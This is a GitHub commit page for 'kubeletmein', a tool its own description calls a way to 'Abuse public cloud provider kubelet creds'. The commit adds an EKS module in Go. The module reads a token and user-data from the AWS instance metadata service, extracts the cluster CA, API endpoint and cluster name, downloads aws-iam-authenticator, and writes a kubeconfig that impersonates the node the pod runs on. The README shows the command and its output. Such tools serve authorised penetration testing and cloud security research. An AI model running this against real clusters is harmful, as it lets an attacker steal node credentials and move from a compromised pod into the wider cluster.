Skip to content

Commit

Permalink
added EKS support
Browse files Browse the repository at this point in the history
  • Loading branch information
airman604 committed Mar 1, 2021
1 parent b8f6ac8 commit 516786a
Show file tree
Hide file tree
Showing 3 changed files with 312 additions and 4 deletions.
24 changes: 22 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ GKE is fully supported and relies on the metadata concealmeant being disabled (t

### EKS

I'm working on support for EKS. It's actually a lot easier to exploit this on EKS than GKE.
EKS support added by @airman604 based on the AWS EKS [bootstrap script](https://github.com/awslabs/amazon-eks-ami/blob/master/files/bootstrap.sh). This is a one step process and doesn't create a fake node, but rather impersonates the node on which the pod is running.

### Digital Ocean

Expand Down Expand Up @@ -67,7 +67,27 @@ kubectl --kubeconfig kubeconfig get pods

### EKS

Coming soon.....
On EKS we can impersonate current node in a single step using IAM authentication.

```
~ $ kubeletmein eks
2021-03-01T21:53:36Z [ℹ] downloading aws-iam-authenticator and generating kubeconfig for current EKS node
2021-03-01T21:53:36Z [ℹ] fetching cluster information from user-data from the metadata service
2021-03-01T21:53:36Z [ℹ] getting IMDSv2 token
2021-03-01T21:53:36Z [ℹ] getting user-data
2021-03-01T21:53:36Z [ℹ] downloading aws-iam-authenticator...
2021-03-01T21:53:36Z [ℹ] fetching information about aws-iam-authenticator latest release
2021-03-01T21:53:36Z [ℹ] downloading aws-iam-authenticator from https://github.com/kubernetes-sigs/aws-iam-authenticator/releases/download/v0.5.2/aws-iam-authenticator_0.5.2_linux_amd64
2021-03-01T21:53:37Z [ℹ] generating EKS node kubeconfig file at: kubeconfig
2021-03-01T21:53:37Z [ℹ] wrote kubeconfig
2021-03-01T21:53:37Z [ℹ] now try: kubectl --kubeconfig kubeconfig get pods
```

Now you can use the kubeconfig, as it suggests.

```
kubectl --kubeconfig kubeconfig get pods
```

### Digital Ocean

Expand Down
8 changes: 6 additions & 2 deletions cmd/kubeletmein/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@ import (
"os"

"github.com/4armed/kubeletmein/pkg/bootstrap"
"github.com/4armed/kubeletmein/pkg/eks"
"github.com/4armed/kubeletmein/pkg/generate"
"github.com/kubicorn/kubicorn/pkg/logger"
"github.com/spf13/cobra"
Expand All @@ -29,8 +30,10 @@ var cfgFile string

// rootCmd represents the base command when called without any subcommands
var rootCmd = &cobra.Command{
Use: "kubeletmein",
Short: "Abuse public cloud provider kubelet creds",
Use: "kubeletmein",
Short: "Abuse public cloud provider kubelet creds",
SilenceErrors: true,
SilenceUsage: true,
}

func main() {
Expand All @@ -43,6 +46,7 @@ func main() {
func init() {
rootCmd.AddCommand(bootstrap.Command())
rootCmd.AddCommand(generate.Command())
rootCmd.AddCommand(eks.Command())

rootCmd.PersistentFlags().IntVarP(&logger.Level, "verbose", "v", 3, "set log level, use 0 to silence, 4 for debugging")
rootCmd.PersistentFlags().BoolVarP(&logger.Color, "color", "C", true, "toggle colorized logs")
Expand Down
284 changes: 284 additions & 0 deletions pkg/eks/eks.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,284 @@
// Copyright © 2021 Amiran Alavidze @airman604
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.

package eks

import (
"encoding/json"
"errors"
"fmt"
"io"
"io/ioutil"
"net/http"
"os"
"path/filepath"
"regexp"
"strings"

"github.com/4armed/kubeletmein/pkg/config"
"github.com/kubicorn/kubicorn/pkg/logger"
"github.com/spf13/cobra"
)

const (
metadataIP = "169.254.169.254"
)

func Command() *cobra.Command {
config := &config.Config{}

cmd := &cobra.Command{
Use: "eks",
Short: "Generate valid kubeconfig to impersonate current node in EKS. This also downloads aws-iam-authenticator.",
RunE: func(cmd *cobra.Command, args []string) error {
logger.Info("downloading aws-iam-authenticator and generating kubeconfig for current EKS node")
err := doCommand(config)
if err != nil {
return fmt.Errorf("unable to generate kubeconfig: %v", err)
}

logger.Info("wrote kubeconfig")
logger.Info("now try: kubectl --kubeconfig %v get pods", config.KubeConfig)

return err
},
}

cmd.Flags().StringVarP(&config.KubeConfig, "kubeconfig", "k", "kubeconfig", "The filename to write the kubeconfig to")

return cmd
}

func getUserData() (string, error) {
// using AWS v2 metadata API (IMDSv2), get token first
logger.Info("getting IMDSv2 token")
client := &http.Client{}
req, err := http.NewRequest(http.MethodPut, "http://"+metadataIP+"/latest/api/token", nil)
if err != nil {
return "", err
}
// set token TTL to be 10 min
req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "600")

resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
tokenBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
metadataToken := string(tokenBytes)

// now request the instance provisioning data
logger.Info("getting user-data")
req, err = http.NewRequest(http.MethodGet, "http://"+metadataIP+"/latest/user-data", nil)
if err != nil {
return "", err
}
req.Header.Set("X-aws-ec2-metadata-token", metadataToken)

resp, err = client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
userDataBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}

return string(userDataBytes), nil
}

type eksKubeConfigInfo struct {
caData string
kubeMaster string
clusterName string
}

// parse user-data from the metadata service
func parseUserData(userData string) (*eksKubeConfigInfo, error) {
// userData should contain the following lines:
// B64_CLUSTER_CA=...
// API_SERVER_URL=...
// /etc/eks/bootstrap.sh <CLUSTER_NAME> ...
re := regexp.MustCompile(`(?m)^B64_CLUSTER_CA=(.*)$`)
caData := re.FindStringSubmatch(userData)
if caData == nil {
return nil, errors.New("Error while parsing user-data, could not find B64_CLUSTER_CA")
}

re = regexp.MustCompile(`(?m)^API_SERVER_URL=(.*)$`)
k8sMaster := re.FindStringSubmatch(userData)
if k8sMaster == nil {
return nil, errors.New("Error while parsing user-data, could not find API_SERVER_URL")
}

re = regexp.MustCompile(`(?m)^/etc/eks/bootstrap.sh\s+(\S+)\s`)
clusterName := re.FindStringSubmatch(userData)
if clusterName == nil {
return nil, errors.New("Error while parsing user-data, could not find cluster name from bootstrap.sh parameters")
}

result := &eksKubeConfigInfo{
caData: caData[1],
kubeMaster: k8sMaster[1],
clusterName: clusterName[1],
}
return result, nil
}

type GitHubReleaseInfo struct {
Assets []GitHubAssetInfo `json:"assets"`
}

type GitHubAssetInfo struct {
Name string `json:"name"`
DownloadURL string `json:"browser_download_url"`
}

func downloadAwsIamAuthenticator() (string, error) {
logger.Info("downloading aws-iam-authenticator...")

logger.Info("fetching information about aws-iam-authenticator latest release")
// find latest release of aws-iam-authenticator
releaseInfoURL := "https://api.github.com/repos/kubernetes-sigs/aws-iam-authenticator/releases/latest"
resp, err := http.Get(releaseInfoURL)
if err != nil {
return "", err
}
defer resp.Body.Close()

releaseInfo := GitHubReleaseInfo{}
err = json.NewDecoder(resp.Body).Decode(&releaseInfo)
if err != nil {
return "", err
}

re := regexp.MustCompile(`^aws-iam-authenticator_.*_linux_amd64$`)
downloadURL := ""
for _, a := range releaseInfo.Assets {
if re.MatchString(a.Name) {
downloadURL = a.DownloadURL
break
}
}

if downloadURL == "" {
return "", fmt.Errorf("Cannot parse aws-iam-authenticator release information")
}

logger.Info("downloading aws-iam-authenticator from %v", downloadURL)
// get the data
resp, err = http.Get(downloadURL)
if err != nil {
return "", err
}
defer resp.Body.Close()

// construct file path for the downloaded file
dir, err := os.Getwd()
if err != nil {
return "", err
}
filepath := filepath.Join(dir, "aws-iam-authenticator")

// create the file, and make it executable
out, err := os.OpenFile(filepath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0755)
if err != nil {
return "", err
}
defer out.Close()

// write the body to file
_, err = io.Copy(out, resp.Body)
if err != nil {
return "", err
}

return filepath, err
}

func kubeConfigTemplate() string {
// template from https://github.com/awslabs/amazon-eks-ami/blob/master/files/kubelet-kubeconfig
// same information here: https://docs.aws.amazon.com/eks/latest/userguide/create-kubeconfig.html
kubeconfig := "" +
"apiVersion: v1\n" +
"kind: Config\n" +
"clusters:\n" +
"- cluster:\n" +
" certificate-authority-data: B64_CA_DATA\n" +
" server: MASTER_ENDPOINT\n" +
" name: kubernetes\n" +
"contexts:\n" +
"- context:\n" +
" cluster: kubernetes\n" +
" user: kubelet\n" +
" name: kubelet\n" +
"current-context: kubelet\n" +
"users:\n" +
"- name: kubelet\n" +
" user:\n" +
" exec:\n" +
" apiVersion: client.authentication.k8s.io/v1alpha1\n" +
" command: AWS_IAM_AUTHENTICATOR\n" +
" args:\n" +
" - \"token\"\n" +
" - \"-i\"\n" +
" - \"CLUSTER_NAME\"\n" //+
// " - --region\n" +
// " - \"AWS_REGION\"\n" +

return kubeconfig
}

func doCommand(c *config.Config) error {

// get user-data from the metadata service
logger.Info("fetching cluster information from user-data from the metadata service")
userData, err := getUserData()
if err != nil {
return err
}

kubeInfo, err := parseUserData(userData)
if err != nil {
return err
}

authenticatorPath, err := downloadAwsIamAuthenticator()
if err != nil {
return err
}

// template from https://github.com/awslabs/amazon-eks-ami/blob/master/files/kubelet-kubeconfig
// same information here: https://docs.aws.amazon.com/eks/latest/userguide/create-kubeconfig.html
kubeconfig := kubeConfigTemplate()

kubeconfig = strings.ReplaceAll(kubeconfig, "B64_CA_DATA", kubeInfo.caData)
kubeconfig = strings.ReplaceAll(kubeconfig, "MASTER_ENDPOINT", kubeInfo.kubeMaster)
kubeconfig = strings.ReplaceAll(kubeconfig, "CLUSTER_NAME", kubeInfo.clusterName)
kubeconfig = strings.ReplaceAll(kubeconfig, "AWS_IAM_AUTHENTICATOR", authenticatorPath)

logger.Info("generating EKS node kubeconfig file at: %v", c.KubeConfig)
err = ioutil.WriteFile(c.KubeConfig, []byte(kubeconfig), 0644)
if err != nil {
return fmt.Errorf("error while writing kubeconfig file: %v", err)
}

return err
}

0 comments on commit 516786a

Please sign in to comment.